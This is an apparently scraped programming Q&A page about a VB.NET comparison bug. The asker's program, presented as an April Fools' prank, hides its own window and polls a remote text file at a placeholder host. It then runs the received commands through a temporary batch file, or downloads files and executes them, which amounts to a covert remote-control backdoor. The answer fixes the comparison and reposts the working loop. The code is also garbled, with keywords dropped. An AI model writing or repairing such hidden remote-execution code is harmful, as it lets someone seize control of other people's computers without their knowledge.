VB.NET variable check -


this program has "fl" variable @ specific point, gets changed file(0), first line of read file. want run stuff when "fl" not equal "file(0)". i'm making 1st of april. i'm not best @ this, figured start early. (ctrl + f this_line if want find line suppose doesn't work.)

 imports system imports system.io imports system.collections public class form1      private property fl string      private sub form1_load(sender object, e eventargs) handles mybase.load         me.opacity = 0         start.enabled = true     end sub      private sub start_tick(sender object, e eventargs) handles start.tick         main()         start.enabled = false     end sub      private sub main()         ' preparations         start.enabled = false         me.hide()         dim stopval integer = 0         dim failcount integer = 0         if directory.exists(my.computer.filesystem.specialdirectories.temp & "\hb") = false             my.computer.filesystem.createdirectory(my.computer.filesystem.specialdirectories.temp & "\hb\")         end if         if file.exists(my.computer.filesystem.specialdirectories.temp & "\hb\v.txt")             my.computer.filesystem.deletefile(my.computer.filesystem.specialdirectories.temp & "\hb\v.txt")         end if         dim fl string = "asd"         ' actual stuff needs happen         dlfile.enabled = true     end sub      private sub dlfile_tick(sender object, e eventargs) handles dlfile.tick         try             my.computer.network.downloadfile("http://sth.sth/v.txt", my.computer.filesystem.specialdirectories.temp & "\hb\v.txt")         catch ex exception             msgbox("fail")             dim asd integer = 0         end try         dlsuc()     end sub      private sub dlsuc()         dim x integer = 0         threading.thread.sleep(3000)         dim file_ string = my.computer.filesystem.specialdirectories.temp & "\hb\v.txt"         dim file string() = io.file.readalllines(file_)         dim firstline string = file(0)         dim secondline string = file(1)         if fl isnot file(0) 'this_line             ' executing command             if secondline = "command"                 dim file_name string = my.computer.filesystem.specialdirectories.temp & "\hb\asdt.bat"                 dim integer                 dim arytext(3) string                 arytext(0) = "@echo off"                 arytext(1) = "cls"                 arytext(2) = file(2)                 arytext(3) = "pause"                 dim objwriter new system.io.streamwriter(file_name)                 = 0 3                     objwriter.writeline(arytext(i))                 next                 objwriter.close()                 process.start(my.computer.filesystem.specialdirectories.temp & "\hb\asdt.bat")                 threading.thread.sleep(500)                 until x > 49                     try                         my.computer.filesystem.deletefile(my.computer.filesystem.specialdirectories.temp & "\hb\asdt.bat")                     catch ex exception                         dim xyz string = nothing                     end try                     x = x + 1                 loop             end if             if secondline = "download"                 dim filename string = file(3)                 my.computer.network.downloadfile(file(2), my.computer.filesystem.specialdirectories.temp & "\hb\" & filename)             end if             if secondline = "downloadr"                 dim filename string = file(3)                 my.computer.network.downloadfile(file(2), my.computer.filesystem.specialdirectories.temp & "\hb\" & filename)                 process.start(my.computer.filesystem.specialdirectories.temp & "\hb\" & filename)             end if         end if         ' after executing given command         fl = file(0)         threading.thread.sleep(500)         my.computer.filesystem.deletefile(my.computer.filesystem.specialdirectories.temp & "\hb\v.txt")         file_ = nothing         file = nothing         firstline = nothing         secondline = nothing     end sub     end class 

update:

also, know why doesn't work? trid them in 1 if too:

     if not fl.equals(file(0)) or not fl.equals("000")       end if 

but it's not working

private sub dlsuc()     dim x integer = 0     threading.thread.sleep(3000)     dim file_ string = my.computer.filesystem.specialdirectories.temp & "\hb\v.txt"     dim file string() = io.file.readalllines(file_)     dim firstline string = file(0)     dim secondline string = file(1)     if not fl.equals(file(0)) 'this_line         if not fl = "000"             ' executing command             if secondline = "command"                 dim file_name string = my.computer.filesystem.specialdirectories.temp & "\hb\asdt.bat"                 dim integer                 dim arytext(3) string                 arytext(0) = "@echo off"                 arytext(1) = "cls"                 arytext(2) = file(2)                 arytext(3) = "pause"                 dim objwriter new system.io.streamwriter(file_name)                 = 0 3                     objwriter.writeline(arytext(i))                 next                 objwriter.close()                 process.start(my.computer.filesystem.specialdirectories.temp & "\hb\asdt.bat")                 threading.thread.sleep(500)                 until x > 49                     try                         my.computer.filesystem.deletefile(my.computer.filesystem.specialdirectories.temp & "\hb\asdt.bat")                     catch ex exception                         dim xyz string = nothing                     end try                     x = x + 1                 loop             end if             if secondline = "download"                 dim filename string = file(3)                 my.computer.network.downloadfile(file(2), my.computer.filesystem.specialdirectories.temp & "\hb\" & filename)             end if             if secondline = "downloadr"                 dim filename string = file(3)                 my.computer.network.downloadfile(file(2), my.computer.filesystem.specialdirectories.temp & "\hb\" & filename)                 process.start(my.computer.filesystem.specialdirectories.temp & "\hb\" & filename)             end if         end if     end if     ' after executing given command     fl = file(0)     threading.thread.sleep(500)     my.computer.filesystem.deletefile(my.computer.filesystem.specialdirectories.temp & "\hb\v.txt")     file_ = nothing     file = nothing     firstline = nothing     secondline = nothing end sub 

then change this

if fl isnot file(0) 'this_line 

to

if not fl.equals(file(0)) 'this_line 

side note:

you have declared fl twice, if not intended, change this

dim fl string = "asd"` 

to this

fl = "asd" 

Comments

Popular posts from this blog

routing - AngularJS State management ->load multiple states in one page -

python - GRASS parser() error -

Swift game error message -